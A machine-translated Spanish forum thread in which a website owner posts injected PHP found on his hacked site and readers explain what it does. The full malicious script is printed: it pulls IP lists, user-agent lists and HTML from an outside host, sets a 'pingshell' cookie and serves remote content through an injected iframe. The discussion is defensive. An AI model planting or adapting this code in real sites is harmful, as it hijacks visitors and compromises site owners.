2010-12-01 14 views
7

EDIT: Buen trabajo todo hasta ahora.Me han pirateado, pero no sé cómo o, lo que es más importante, por qué. Código muy extraño inyectado

Acabo de encontrar este ser descarga y encontré en mi historial de bash:

http://notsoft.ru/glib

(seguros para ver)

Gracias a todos


acabo noté que el php fuente de mi sitio ha sido editado. No tengo idea de cómo (he cambiado todas mis contraseñas desde entonces) pero lo que realmente me confunde es por qué.

En un par de páginas se colocó un iframe, vinculándolo a un archivo xml.php que se colocó en mi directorio de imágenes (el único directorio accesible por HTACCESS. Este código DEBE haberse colocado manualmente ya que las páginas son bastante complejas y al cabo de auto sin frenar estas páginas habría sido casi imposible.

Ahora lo REALMENTE confuso es el contenido de este archivo XML.php, a partir de lo que puedo ver que no hace nada.

Aquí está el código:

<?php 

$urlIps = "http://mp3magicmag.com/frame/ips.txt"; // Url to IP's 
$urlHtml = "http://mp3magicmag.com/frame/html.code"; // Url to html.code 
$urlUa = "http://mp3magicmag.com/frame/ua.txt"; // Url to User Agent file 

if(isset($_GET['ping'])){ 
    echo "Status: Ping successful!"; die; 
} 
$ip = $_SERVER['REMOTE_ADDR']; 
//orezaem do deapozona 
$exIps = explode(".", $ip); 

$ip = $exIps[0].".".$exIps[1].".".$exIps[2]; 

$ips = file_get_contents($urlIps); 

if(strpos(" ".$ips, $ip)){ // esli nashli IP v file to ostanavlivaem process.. 
    die; 
} 

$arrUa = file($urlUa); 
for($ua=0; $ua<count($arrUa); $ua++){ 
    $userAgent = trim($arrUa[$ua]); 
    if(strpos(" ".$_SERVER['HTTP_USER_AGENT'], $userAgent)){ // esli nashli v User Agent'e to ostanavlivaem process.. 
     die; 
    } 
} 


if(isset($_COOKIE['pingshell'])){ // proveriaem est' li kuki 

    echo @file_get_contents($urlHtml); 

}else{ 

?> 
<SCRIPT LANGUAGE="JavaScript"> 
function setCookie (name, value, expires, path, domain, secure) { 
     document.cookie = name + "=" + escape(value) + 
    ((expires) ? "; expires=" + expires : "") + 
    ((path) ? "; path=" + path : "") + 
    ((domain) ? "; domain=" + domain : "") + 
    ((secure) ? "; secure" : ""); 
} 
</SCRIPT> 

<SCRIPT LANGUAGE="JavaScript"> 
setCookie("pingshell", "12345", "Mon, 01-Jan-2099 00:00:00 GMT", "/"); 
</SCRIPT> 
<meta http-equiv="refresh" content="2; url="> 

<?php 
} 
?> 

¿Me estoy perdiendo algo, o es este el "truco" más extraño? He hecho mi búsqueda en Google y no puedo encontrar ninguna referencia de que ocurra antes.

+1

¿Qué quiere decir, que no hace nada? Este código hace algunas cosas, algunas páginas usan 'file_get_contents', produce cosas (algunos' echo'es e incluso algunos js para una cookie), hace que el navegador actualice ... – cambraca

+0

Pero las URL que recupera el archivo son como bueno como vacío – Jon

+2

Tengo curiosidad por saber lo que esos comentarios están diciendo ... – Jonah

Respuesta

5

Correcto, lo que hace es lo siguiente.

  1. Comprueba si el guión se ha llamado con ping si era que responde y termina
  2. descarga una lista de direcciones IP de servidores válidos y comprueba que la solicitud proviene de uno, si no se termina.
  3. Descarga una lista de cadenas de agente de usuario y compara el navegador con esos para ver si es válido, si no termina.
  4. Si la cookie pingshell se ha establecido anteriormente, el archivo HTML se descargan y se muestran en el navegador
  5. De lo contrario un guión cookie se envía de vuelta al navegador, el establecimiento de la cookie pingshell a un valor ficticio, válida para todo el dominio .

El paso 4 es la parte importante, parece que un servidor proxy recupera el HTML en la ubicación indicada. Si el enlace es ilegal, entonces no es bueno. Sin embargo, probablemente con fines comerciales, pueden usar su URL para mostrar su contenido y obtener datos de clics de los usuarios.

Dicho esto, el código sólo permite a cualquier forma de acceso de direcciones IP prescritos, así que a menos que se están capturando la información en primer lugar, parece que se ha diseñado para uso específico por personas específicas.

+2

No parece que el código que está procesado haga nada ahora, probablemente evite la detección y la inclusión en listas negras de Google u otras compañías de seguridad. Apuesto a que en algún momento arrojarán algo y se emitirá en masa. – mattbasta

+0

http://whois.domaintools.com/mp3magicmag.com Puede intentar seguir buscando a quién pertenece el dominio. Pero es información falsa en una dirección de Gmail, así que buena suerte ... – DampeS8N

+0

http://www.google.com/search?q=%22fllogic%40gmail.com sí, realmente ... suerte de Gooooood. – DampeS8N

0

Parece que quieren utilizar su sitio para ampliar su sistema de seguimiento de cookies. La cosa Status: ping successful parece una función para que comprueben la integridad de su hack periódicamente. También envía las direcciones IP de todos sus visitantes a su servidor.

2

Parece parte de un script automatizado. Esto se usaría para confirmar que el autoataque fue exitoso y para clasificar una lista grande de lugares a los que regresar. Entre otras cosas. (Jonás Bron trae algunas otras cosas)

EDITAR

Lo que puede hacer es gut el código y monitorear llamadas al archivo en un registro. Vea lo que alguien intenta hacer con eso.

+0

no es una mala idea, solo desearía saber cómo llegó allí. Ya sea que se trate de la contraseña ftp de fuerza bruta, los problemas con el host compartido o la PC de mi casa están en peligro. De cualquier manera no es bueno, vivo fuera de este sitio ... – Jon

+0

Podría haber sido a través de ftp. Puede averiguarlo, su anfitrión debe tener registros de los ips utilizados para conectarse a ftp, si usted es el único que lo usa, pregúnteles y sabrá si alguien más se conectó. Pero lo más probable es que no fue un objetivo. Este tipo de cosas normalmente se hace, como dije, a través de un script automatizado. ¿Tiene algún formulario en su sitio? Usando exec() para golpear la línea de comando. – DampeS8N

1

Asegúrese de que ha habilitado el modo seguro en su php.ini para evitar este tipo de scripts de creación de ficheros inseguros remoto ..

+0

Gracias por el consejo, desafortunadamente está en un host compartido (1and1) pero configuro uno local. Solo desearía saber cómo sucedió esto. – Jon

+0

me pasó a mí también, un par de veces, no en mis sitios sino en mis colegas o clientes ... a veces obtuvieron acceso desde fopen's no protegidos, en otros casos no pude entenderlo. Realmente me gustaría saber también – Lucius

Cuestiones relacionadas